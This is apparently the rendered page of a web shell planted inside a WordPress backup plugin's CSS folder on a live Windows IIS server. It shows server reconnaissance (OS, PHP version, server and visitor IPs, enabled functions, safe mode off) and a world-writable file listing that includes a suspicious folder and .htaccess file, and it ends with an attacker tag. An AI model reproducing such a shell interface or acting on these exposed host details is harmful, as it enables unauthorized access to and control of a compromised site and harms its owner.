Windows NT VMI1501711 10.0 build 17763 (Windows Server 2019) AMD64
 Microsoft-IIS/10.0
 80.65.208.158 | Your IP: 216.73.216.147
 Cant read [ /etc/named.conf ]
 [ drwxrwxrwx ]
C: / Inetpub / vhosts / rotechnochem.com / httpdocs / wp-content / plugins / updraftplus / css /


Operating System : Windows NT VMI1501711 10.0 build 17763 (Windows Server 2019) AMD64
User / Group : 0[IWPD_134(rotechno)] / 0[?]
PHP Version : 8.3.30
IP Server : 80.65.208.158
Your IP : 216.73.216.147
Storage : Total = 799.48 GB, Free = 288.82 GB [36%]
Domains : Cant read [ /etc/named.conf ]
Software : Microsoft-IIS/10.0
Disable Functions : All function is accessible
Useful Functions :
Downloader :
CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF
Safe Mode : OFF | Open Basedir : C:/Inetpub/vhosts/rotechnochem.com\;C:\Windows\Temp\ | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
.. dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
tether-shepherd dir - 0/0 drwxrwxrwx 2026-02-10 05:51:59
.htaccess text/plain 123 B 0/0 -rw-rw-rw- 2026-02-10 05:51:59
updraftplus-admin-1-25-6.min.css text/plain 65.18 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-admin-1-25-6.min.css.map application/json 109.15 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-admin.css text/plain 78.67 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-notices-1-25-6.min.css text/plain 1.52 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-notices-1-25-6.min.css.map application/json 2.59 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-notices.css text/plain 1.75 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-tour-1-25-6.min.css text/plain 5.75 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-tour-1-25-6.min.css.map application/json 7.24 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-tour.css text/plain 6.23 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
updraftplus-tour.scss text/plain 5.27 KB 0/0 -rw-rw-rw- 2025-07-29 12:59:03
© SEC